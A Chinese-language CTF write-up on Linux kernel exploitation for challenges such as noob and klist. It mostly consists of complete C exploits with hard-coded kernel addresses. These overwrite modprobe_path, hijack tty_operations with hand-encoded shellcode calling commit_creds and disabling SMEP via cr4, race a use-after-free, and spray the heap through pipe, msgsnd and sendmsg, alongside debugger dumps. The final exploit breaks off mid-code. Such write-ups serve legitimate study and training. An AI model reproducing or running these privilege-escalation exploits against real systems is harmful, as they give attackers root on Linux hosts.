比较复杂的是伪造fake_chunk来绕过prefetch0 byte ptr [rbx]的检查。需要精心构造两个fake_chunk及其fdfake_chunk1的目的一是劫持freelist链到0xffffffffc000461c,二是写入四字节使0xffffffffc000461cfd解密后能落到fake_chunk2fake_chunk2的目的是为分配出0xffffffffc000461c这一目的chunk之后使freelist顺利结束(检测到*chunk=chunk^cookie即判断为结束,即next_object=0)。

原本:

1
2
3
|-----------|      |------------|
| 1 | ---> | 0 |
|-----------| |------------|

期望:

1
2
3
|----------|      |-------------|      |--------------------|      |-----------|      |---|
| 1 | ---> | fake_chunk1 | ---> | 0xffffffffc000461c | ---> |fake_chunk2| ---> | 0 |
|----------| |-------------| |--------------------| |-----------| |---|

x3.PNG

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>
#include <sched.h>
#include <errno.h>
#include <pty.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <signal.h>

struct chunk{
size_t index;
char* buf;
long long size;
};

struct chunk* user_chunk;

void uread(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30001,user_chunk);
}

int main(){

int fd = open("/dev/noob",0);
if(fd < 0){
puts("[:(]Open error...");
exit(0);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));
size_t* buf = malloc(0x1000);

int id[2] = {0};
size_t address[2] = {0};
int j=0;
for(int i = 0;i <= 20;i++){
new(fd,i,buf,0x40);
uread(fd,i,buf,0x40);
if(buf[5]==buf[6] && buf[5]!=0){
id[j] = i;
address[j++] = buf[5]-0x28;
if(j==2){
break;
}
}
}
if(id[1] == 0){
puts("[:(]Don't find...bad luck...QAQ");
exit(-1);
}

printf("[:)]%d and %d is our target\n",id[0],id[1]);
printf("[:)]%d addr = %p\n",id[0],address[0]);
printf("[:)]%d addr = %p\n",id[1],address[1]);

delete(fd,id[0],buf,0x40);
delete(fd,id[1],buf,0x40);
uread(fd,id[1],buf,0x40);
size_t key = *buf;
size_t cookie = key ^ address[0] ^ address[1];
printf("[:)]cookie = %p\n",cookie);

size_t mod_base = 0xffffffffc0002000;
long int magic1 = (cookie^mod_base) >> 32;
printf("[:)]magic1 = %p\n",magic1);
long int fake_mmap1 = mmap(magic1 & 0xfffff000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,0,0);
if(fake_mmap1 < 0){
puts("[:(]mmap error...");
exit(0);
}
printf("[:)]fake_mmap1 = %p\n",fake_mmap1);

long int fake_chunk = magic1 & 0xffffffff;
printf("[:)]fake_chunk = %p\n",fake_chunk);

long int magic2 = (fake_chunk<<32)^cookie^0xffffffffc000461c;
printf("[:)]magic2 = %p\n",magic2);
long int fake_mmap2 = mmap(magic2 & 0xfffff000,0x1000,PROT_READ|PROT_WRITE|PROT_EXEC,MAP_ANONYMOUS|MAP_PRIVATE|MAP_FIXED,0,0);
if(fake_mmap2 < 0){
puts("[:(]mmap error...");
exit(1);
}
printf("[:)]fake_mmap2 = %p\n",fake_mmap2);

*(long int *)magic2 = magic2^cookie;

*(long int*)fake_chunk = cookie ^ fake_chunk;
buf[0] = fake_chunk ^ cookie ^ address[1];
uwrite(fd,id[1],buf,0x40);
new(fd,21,buf,0x40);
*(long int*)fake_chunk = cookie ^ fake_chunk ^ 0xffffffffc000461c;
new(fd,22,buf,0x40);
new(fd,23,buf,0x40);
new(fd,24,buf,0x40);
new(fd,25,buf,0x40);

//-----------------------------------------------------------
*buf = 0x8245aba000000000;
buf[1] = 0x00000040ffffffff;
uwrite(fd,23,buf,0x40);

*buf = 0x7340682e777278782f;
uwrite(fd,22,buf,0x40);
puts("[:)]success!!!");

system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /xxrw.sh");
system("/bin/chmod +x /xxrw.sh");
system("echo -ne '\\xff\\xff\\xff\\xff' > /trigger");
system("/bin/chmod +x /trigger");

system("/trigger");
system("cat /flag");

return 0;
}
//ffffffff8245aba0 D modprobe_path

解法二:

思路:

add函数中存在double fetch,但是概率实在是太低了,我把size的限制给patch掉之后,写出exp是可以打成功的。但是考虑到竞争因素以后,成功概率应该不到百分之一了。。。

PS: 今天出了官方wp。。。竟然真的是这种解法。。。我吐了。

x1.PNG

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
#define _GNU_SOURCE
#include <stdio.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/prctl.h>
#include <fcntl.h>
#include <signal.h>
#include <memory.h>
#include <pty.h>

struct chunk{
size_t index;
char* buf;
long long size;
};

int finish;
struct chunk* user_chunk;

void change_size(){
while(finish == 0){
user_chunk->size = 0x400;
}
}

size_t prepare_kernel_cred = 0xffffffff810ad7e0;
size_t commit_creds = 0xffffffff810ad430;

size_t user_cs,user_ss,user_rsp,user_rflags;
void save(){
__asm__(
"mov user_cs,cs;"
"mov user_ss,ss;"
"mov user_rsp,rsp;"
"pushf;"
"pop user_rflags;"
);
puts("[:)]Save success!!!");
}

void get_shell(){
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
exit(0);
}
else{
puts("[:(]Not root...");
exit(0);
}
}


void uread(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30003,user_chunk);
}

void uwrite(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30002,user_chunk);
}

void new(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30000,user_chunk);
}

void delete(int fd,int index,char* buf,long long size){
user_chunk->index = (size_t)index;
user_chunk->buf = buf;
user_chunk->size = size;
ioctl(fd,0x30001,user_chunk);
}


int main(){
save();
signal(SIGSEGV,get_shell);

int fd = open("/dev/noob",0);
if(fd < 0 ){
printf("[:(]Open error...\n");
exit(-1);
}
user_chunk = (struct chunk*)malloc(sizeof(struct chunk));
char* buf = malloc(0x1000);

pthread_t p;
pthread_create(&p,NULL,change_size,NULL);
new(fd,0,buf,0x68);
finish = 1;

delete(fd,0,buf,0);

int fd_p = open("/dev/ptmx",2);
if(fd_p < 0){
puts("[:(]put error...");
exit(0);
}

size_t fake_tty_operations[13] = {0};
fake_tty_operations[12] = 0xffffffff81075fa0;

memset(buf,'\x00',0x2e0);
uread(fd,0,buf,0x2e0);
size_t tty_struct_addr = *((size_t*)buf+7)-0x38;
printf("[:)]tty_struct_addr = %p\n",tty_struct_addr);

*((size_t*)buf+3) = (size_t)fake_tty_operations;
uwrite(fd,0,buf,0x20);

ioctl(fd_p,0x2333,1);

fake_tty_operations[12] = tty_struct_addr + 0x2e0;

char* tmp = buf + 0x2e0;
*(unsigned short *)tmp = 0x9090;
tmp += 2;
*(unsigned long *)tmp = 0x90ff3148;
tmp += 3;
*(unsigned short *)tmp = 0xb848;
tmp += 2;
*(unsigned long *)tmp = prepare_kernel_cred;
tmp += 8;
*(unsigned short *)tmp = 0xd0ff;
tmp += 2;
*(unsigned long *)tmp = 0x90c78948;
tmp += 3;
*(unsigned short *)tmp = 0xb848;
tmp += 2;
*(unsigned long *)tmp = commit_creds;
tmp += 8;
*(unsigned short *)tmp = 0xd0ff;
tmp += 2;
*(unsigned int *)tmp = 0xf0c7c748; //mov rdi,0x6f0;
tmp += 4;
*(unsigned char *)tmp = 0x06;
tmp += 1;
*(unsigned short*)tmp = 0x0;
tmp += 2;
*(unsigned short*)tmp = 0x220f; //mov cr4,rdi;
tmp += 2;
*(unsigned char*)tmp = 0xe7;
tmp += 1;
*(unsigned char*)tmp = 0x6a; //push user_ss
tmp += 1;
*(unsigned char*)tmp = (unsigned char)user_ss;
tmp += 1;
*(unsigned short *)tmp = 0xB848; //push user_rsp
tmp += 2;
*(unsigned long *)tmp = user_rsp;
tmp += 8;
*(unsigned char *)tmp = 'P';
tmp += 1;
*(unsigned char*)tmp = 0x68; //push rflags
tmp += 1;
*(unsigned int*)tmp = (unsigned int)user_rflags;
tmp += 4;
*(unsigned char*)tmp = 0x6a; //push user_cs
tmp += 1;
*(unsigned char*)tmp = (unsigned char)user_cs;
tmp += 1;
*(unsigned char*)tmp = 0x68; //push get_shell
tmp += 1;
*(unsigned int*)tmp = (unsigned int)get_shell;
tmp += 4;
*(unsigned short*)tmp = 0x010f; //swapgs;
tmp += 2;
*(unsigned char*)tmp = 0xf8;
tmp += 1;
*(unsigned short*)tmp = 0xcf48; //iretq;
tmp += 2;

*((size_t*)buf+3) = (size_t)fake_tty_operations;
uwrite(fd,0,buf,0x400);
ioctl(fd_p,0x2333,1);

return 0;

}

20190CTF-FINAL_Fast&Furious

20190CTF-FINAL_Fast&Furious2

2019N1CTF_babykernel

2019Hack.lu_babykernel2

2019TeaserCONFidence_p4fmt

http://brieflyx.me/2019/ctf-writeups/p4teaser-2019-p4fmt/

https://xz.aliyun.com/t/4574

20170CTF_knote

20180CTF_zerofs

2018WCTF_klist

思路:

又是一道关于竞争的题目,准备总结一下关于竞争的一些东西。。。

我个人觉得竞争的题目最难的地方在于如何用用户态的程序稳定的触发竞争漏洞,并使程序可以继续运行下去,不会崩掉,还有就是调试比较麻烦。。。

这道题的漏洞点是在list_head中的puts操作放在了锁的外面,且是直接对glist这个全局变量进行的操作(前面的都是对栈上的原始变量进行的操作),所以会导致竞争add,在puts前更新glist,获取一个悬垂指针。

好像不同的线程/进程申请相同大小size的chunk会从不同的slab中取,因为是不同的cpu_slab吧应该,毕竟是多核。

之后的问题就是怎么在用户态中通过调用函数来控制这个UAF的chunk,这里用的是pipe函数,在其alloc_pipe_info函数内部会申请0x280的chunk作为pipe的一个结构体貌似,然后用write可使size位置不断增大,一次就足够了。

需要提一下的是通用堆喷技术(userfaultfd+setxattr)在这里是无法使用的,因为内核并不支持userfaultfd系统调用,应该是编译时并没有开启CONFIG_USERFAULTFD吧。

还有就是好像第三次free目标chunk时,好像被放到了另外一个slab中,如果不是的话next_ptr应该一直指向自己,因为前面已经double free了。

t1.PNG

关于堆喷:

pipe

跟到alloc_pipe_info函数内部看了一下,发现有一个__kmalloc(0x280)的地方,且其返回的指针确实为我们的悬垂指针。

需要注意的是只能申请0x280,且内容不可控。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
  _  ___     ___ ____ _____  
| |/ / | |_ _/ ___|_ _|
| ' /| | | |\___ \ | |
| . \| |___ | | ___) || |
|_|\_\_____|___|____/ |_|


/ # cat /proc/kallsyms | grep ffffffff81188870
ffffffff81188870 T kmem_cache_alloc_trace
/ # cat /proc/kallsyms | grep ffffffff81188d00
ffffffff81188d00 T __kmalloc
/ # cat /proc/kallsyms | grep ffffffff8108ee60
ffffffff8108ee60 T __init_waitqueue_head
/ # cat /proc/kallsyms | grep ffffffff81093260
ffffffff81093260 T __mutex_init
/ #


RAX: 0xffff88007a056e40 --> 0x3e800000002
RBX: 0xffff88007b9f4ff8 --> 0x0
RCX: 0x1
RDX: 0x88
RSI: 0x15080c0
RDI: 0xffff88007cc01800 --> 0x23b20
RBP: 0xffffc90000b8fed8 --> 0x0
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a37da --> 0xc08548fffe5091e8
R8 : 0xffff88007f624ae0 --> 0xffff88007b354618 --> 0xffff88007b354640 --> 0xffff88007b354668 --> 0xffff88007b354690 --> 0xffff88007b3546b8 (--> ...)
R9 : 0x0
R10: 0xffff88007b3545f0 --> 0xffff88007b9f4ff8 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x100000
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a37c9: mov edx,0x88
0xffffffff811a37ce: mov esi,0x15080c0
0xffffffff811a37d3: mov r13d,DWORD PTR [rip+0x10bf026] # 0xffffffff82262800
=> 0xffffffff811a37da: call 0xffffffff81188870 #kmem_cache_alloc_trace
0xffffffff811a37df: test rax,rax
0xffffffff811a37e2: je 0xffffffff811a3910
0xffffffff811a37e8: cmp r13d,0xffff
0xffffffff811a37ef: mov rbx,rax
Guessed arguments:
arg[0]: 0xffff88007cc01800 --> 0x23b20
arg[1]: 0x15080c0
arg[2]: 0x88


RAX: 0x0
RBX: 0xffff88007b3c8780 --> 0x0
RCX: 0x0
RDX: 0x0
RSI: 0x15080c0
RDI: 0x280
RBP: 0x10
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a3851 --> 0xc08548fffe54aae8
R8 : 0xffff88007f623b20 --> 0xffff88007b3c8840 --> 0xffff88007b3c8900 --> 0xffff88007b3c89c0 --> 0xffff88007b3c8a80 --> 0xffff88007b3c8b40 (--> ...)
R9 : 0x0
R10: 0xffff88007b3c8780 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x10
R14: 0x0
R15: 0x0
EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a3843: lea rdi,[r13+r13*4+0x0]
0xffffffff811a3848: mov esi,0x15080c0
0xffffffff811a384d: shl rdi,0x3
=> 0xffffffff811a3851: call 0xffffffff81188d00 #__kmalloc
0xffffffff811a3856: test rax,rax
0xffffffff811a3859: mov QWORD PTR [rbx+0x78],rax
0xffffffff811a385d: je 0xffffffff811a38fe
0xffffffff811a3863: lea rdi,[rbx+0x20]
Guessed arguments:
arg[0]: 0x280
arg[1]: 0x15080c0

RAX: 0xffff88007ace8c00 --> 0x0
RBX: 0xffff88007b3c8780 --> 0x0
RCX: 0x0
RDX: 0xffffffff828e9558 --> 0x0
RSI: 0xffffffff81ff2684 ("&pipe->wait")
RDI: 0xffff88007b3c87a0 --> 0x0
RBP: 0x10
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a3875 --> 0x1b848ffeeb5e6e8
R8 : 0xffff88007f623b80 --> 0xffff88007ace9400 --> 0xffff88007ace9800 --> 0xffff88007ace9c00 --> 0xffff88007acea000 --> 0xffff88007acea400 (--> ...)
R9 : 0x0
R10: 0xffff88007ace8c00 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x10
R14: 0x0
R15: 0x0
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a3863: lea rdi,[rbx+0x20]
0xffffffff811a3867: mov rdx,0xffffffff828e9558
0xffffffff811a386e: mov rsi,0xffffffff81ff2684
=> 0xffffffff811a3875: call 0xffffffff8108ee60 #__init_waitqueue_head
0xffffffff811a387a: movabs rax,0x100000001
0xffffffff811a3884: mov DWORD PTR [rbx+0x40],r13d
0xffffffff811a3888: mov QWORD PTR [rbx+0x80],r12
0xffffffff811a388f: mov QWORD PTR [rbx+0x54],rax
Guessed arguments:
arg[0]: 0xffff88007b3c87a0 --> 0x0
arg[1]: 0xffffffff81ff2684 ("&pipe->wait")
arg[2]: 0xffffffff828e9558 --> 0x0

RAX: 0x100000001
RBX: 0xffff88007b3c8780 --> 0x0
RCX: 0x0
RDX: 0xffffffff828e9558 --> 0x0
RSI: 0xffffffff81ff2690 ("&pipe->mutex")
RDI: 0xffff88007b3c8780 --> 0x0
RBP: 0x10
RSP: 0xffffc90000b8fe70 --> 0xffff88007b9f4ff8 --> 0x0
RIP: 0xffffffff811a38a4 --> 0xd88948ffeef9b7e8
R8 : 0xffff88007f623b80 --> 0xffff88007ace9400 --> 0xffff88007ace9800 --> 0xffff88007ace9c00 --> 0xffff88007acea000 --> 0xffff88007acea400 (--> ...)
R9 : 0x0
R10: 0xffff88007ace8c00 --> 0x0
R11: 0x0
R12: 0xffff88007c598c00 --> 0xcb000000ce
R13: 0x10
R14: 0x0
R15: 0x0
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xffffffff811a3893: mov rdi,rbx
0xffffffff811a3896: mov rdx,0xffffffff828e9558
0xffffffff811a389d: mov rsi,0xffffffff81ff2690
=> 0xffffffff811a38a4: call 0xffffffff81093260 #__mutex_init
0xffffffff811a38a9: mov rax,rbx
0xffffffff811a38ac: pop rbx
0xffffffff811a38ad: pop rbp
0xffffffff811a38ae: pop r12
Guessed arguments:
arg[0]: 0xffff88007b3c8780 --> 0x0
arg[1]: 0xffffffff81ff2690 ("&pipe->mutex")
arg[2]: 0xffffffff828e9558 --> 0x0

msgsnd

我也跟了一下,是可行的,需要注意的是前0x30字节不可控

1
2
3
4
5
6
7
8
9
10
11
12
// 只能控制0x30字节以后的内容
struct {
long mtype;
char mtext[BUFF_SIZE-0x30];
}msg;
memset(msg.mtext,0x42,BUFF_SIZE-0x30-1); // 布置用户空间的内容
msg.mtext[BUFF_SIZE-0x30] = 0;
msg.mtype = 1; //必须 > 0

int msqid = msgget(IPC_PRIVATE,0644|IPC_CREAT);
for(int i = 0; i < 120; i++)
msgsnd(msqid, &msg, sizeof(msg.mtext), 0);

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
// /ipc/msg.c
SYSCALL_DEFINE4(msgsnd, int, msqid, struct msgbuf __user *, msgp, size_t, msgsz,
int, msgflg)
{
return ksys_msgsnd(msqid, msgp, msgsz, msgflg);
}
// /ipc/msg.c
long ksys_msgsnd(int msqid, struct msgbuf __user *msgp, size_t msgsz,
int msgflg)
{
long mtype;

if (get_user(mtype, &msgp->mtype))
return -EFAULT;
return do_msgsnd(msqid, mtype, msgp->mtext, msgsz, msgflg);
}
// /ipc/msg.c
static long do_msgsnd(int msqid, long mtype, void __user *mtext,
size_t msgsz, int msgflg)
{
struct msg_queue *msq;
struct msg_msg *msg;
int err;
struct ipc_namespace *ns;
DEFINE_WAKE_Q(wake_q);

ns = current->nsproxy->ipc_ns;

if (msgsz > ns->msg_ctlmax || (long) msgsz < 0 || msqid < 0)
return -EINVAL;
if (mtype < 1)
return -EINVAL;
msg = load_msg(mtext, msgsz); // 调用load_msg
...
// /ipc/msgutil.c
struct msg_msg *load_msg(const void __user *src, size_t len)
{
struct msg_msg *msg;
struct msg_msgseg *seg;
int err = -EFAULT;
size_t alen;

msg = alloc_msg(len); // alloc_msg
if (msg == NULL)
return ERR_PTR(-ENOMEM);

alen = min(len, DATALEN_MSG); // DATALEN_MSG
if (copy_from_user(msg + 1, src, alen)) // copy1
goto out_err;

for (seg = msg->next; seg != NULL; seg = seg->next) {
len -= alen;
src = (char __user *)src + alen;
alen = min(len, DATALEN_SEG);
if (copy_from_user(seg + 1, src, alen)) // copy2
goto out_err;
}

err = security_msg_msg_alloc(msg);
if (err)
goto out_err;

return msg;

out_err:
free_msg(msg);
return ERR_PTR(err);
}
// /ipc/msgutil.c
#define DATALEN_MSG ((size_t)PAGE_SIZE-sizeof(struct msg_msg))
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;

alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT); // 先分配了一个msg_msg结构大小
...
1
msgsnd() ---> ksys_msgsnd() ---> do_msgsnd() ---> load_msg(用cat /proc/kallsyms | grep load_msg)

sendmsg

同样跟着调了一下,是可以成功的,需要注意的是size必须大于44,但是内容是全部可控的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
//限制: BUFF_SIZE > 44
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

msg.msg_control = buff;
msg.msg_controllen = BUFF_SIZE;
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);

for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}

调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
static int ___sys_sendmsg(struct socket *sock, struct user_msghdr __user *msg,
struct msghdr *msg_sys, unsigned int flags,
struct used_address *used_address,
unsigned int allowed_msghdr_flags)
{
struct compat_msghdr __user *msg_compat =
(struct compat_msghdr __user *)msg;
struct sockaddr_storage address;
struct iovec iovstack[UIO_FASTIOV], *iov = iovstack;
unsigned char ctl[sizeof(struct cmsghdr) + 20]
__aligned(sizeof(__kernel_size_t)); // 创建44字节的栈缓冲区ctl,20是ipv6_pktinfo结构的大小
unsigned char *ctl_buf = ctl; // ctl_buf指向栈缓冲区ctl
int ctl_len;
ssize_t err;

msg_sys->msg_name = &address;

if (MSG_CMSG_COMPAT & flags)
err = get_compat_msghdr(msg_sys, msg_compat, NULL, &iov);
else
err = copy_msghdr_from_user(msg_sys, msg, NULL, &iov); // 用户数据拷贝到msg_sys,只拷贝msghdr消息头部
if (err < 0)
return err;

err = -ENOBUFS;

if (msg_sys->msg_controllen > INT_MAX) //如果msg_sys小于INT_MAX,就把ctl_len赋值为用户提供的msg_controllen
goto out_freeiov;
flags |= (msg_sys->msg_flags & allowed_msghdr_flags);
ctl_len = msg_sys->msg_controllen;
if ((MSG_CMSG_COMPAT & flags) && ctl_len) {
err =
cmsghdr_from_user_compat_to_kern(msg_sys, sock->sk, ctl,
sizeof(ctl));
if (err)
goto out_freeiov;
ctl_buf = msg_sys->msg_control;
ctl_len = msg_sys->msg_controllen;
} else if (ctl_len) {
BUILD_BUG_ON(sizeof(struct cmsghdr) !=
CMSG_ALIGN(sizeof(struct cmsghdr)));
if (ctl_len > sizeof(ctl)) { //注意用户数据的size必须大于44字节
ctl_buf = sock_kmalloc(sock->sk, ctl_len, GFP_KERNEL);//sock_kmalloc最后会调用kmalloc 分配 ctl_len 大小的堆块
if (ctl_buf == NULL)
goto out_freeiov;
}
err = -EFAULT;
/* 注意,msg_sys->msg_control是用户可控的用户缓冲区;ctl_len是用户可控的长度。 用户数据拷贝到ctl_buf内核空间。
*/
if (copy_from_user(ctl_buf,
(void __user __force *)msg_sys->msg_control,
ctl_len))
goto out_freectl;
msg_sys->msg_control = ctl_buf;
}
msg_sys->msg_flags = flags;
...
1
cat /proc/kallsyms | grep sock_kmalloc

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
// gcc -static -pthread xx.c -g -o xx
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <string.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <poll.h>
#include <pthread.h>
#include <errno.h>
#include <signal.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <linux/userfaultfd.h>
#include <pthread.h>
#include <poll.h>
#include <sys/prctl.h>
#include <stdint.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define ADD 0x1337
#define SELECT 0x1338
#define REMOVE 0x1339
#define GET_HEAD 0x133A

int fd;
int key;
struct mystruct{
size_t size;
char* myptr;
};

struct mystruct* global_ptr;
char* ptr;

void check_root(){
while(1){
sleep(1);
if(getuid() == 0){
puts("[:)]Root now!!!");
system("/bin/sh");
//char* args[2] = {"/bin/sh", NULL};
//execv("/bin/sh", args);
exit(0);
}
}
}

int main(){

int choice = 3;
setvbuf(stdout,0LL,2,0LL);
fd = open("/dev/klist",2);
if(fd < 0){
puts("[:(]open error...");
exit(0);
}
global_ptr = malloc(0x10);
char* buf = malloc(0x1000);
char* buf1 = malloc(0x1000);
char* buf2 = malloc(0x1000);
char* buf7 = malloc(0x1000);
memset(buf,'\x11',0x1000);
memset(buf1,'\x11',0x1000);
memset(buf2,'\x22',0x1000);
memset(buf7,'\x77',0x1000);
global_ptr->size = 0x280-0x18;
global_ptr->myptr = buf1;

for(int i = 0;i < 200;i++){
if(fork() == 0){
check_root();
}
}

ioctl(fd,ADD,global_ptr);
ioctl(fd,SELECT,0);
if(fork() == 0){
while(1){
global_ptr->myptr = buf1;
ioctl(fd,ADD,global_ptr); //success -> flag = 0 & first free
ioctl(fd,SELECT,0); //success -> flag = 1
ioctl(fd,REMOVE,0); //success -> flag = 0 & double free

global_ptr->myptr = buf2;
ioctl(fd,ADD,global_ptr); //test UAF set flag = 1
read(fd,buf,0x8);
if(buf[0] != '\x11'){
puts("[:)]Race success 1");
break;
}
ioctl(fd,REMOVE,0);
}

sleep(0.5);
ioctl(fd,REMOVE,0); //success -> free into anthor slab ?

if(choice == 1){
int fds[2];
pipe(&fds[0]); //get UAF chunk
write(fds[1],buf7,0x280);
}
else if(choice == 2){
struct{
long mtype;
char mtext[0x280-0x30];
}msg;
memset(msg.mtext,0x42,0x280-0x30-1);
msg.mtext[0x280-0x30] = 0;
msg.mtype = 1;

int msqid = msgget(IPC_PRIVATE,0644|IPC_CREAT);
msgsnd(msqid,&msg,sizeof(msg.mtext),0); //get UAF chunk
}
else if(choice == 3){
char buff[0x280];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};

int sockfd = socket(AF_INET,SOCK_DGRAM,0);
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);

msg.msg_control = buff;
msg.msg_controllen = 0x280;
msg.msg_name = (caddr_t)&addr;
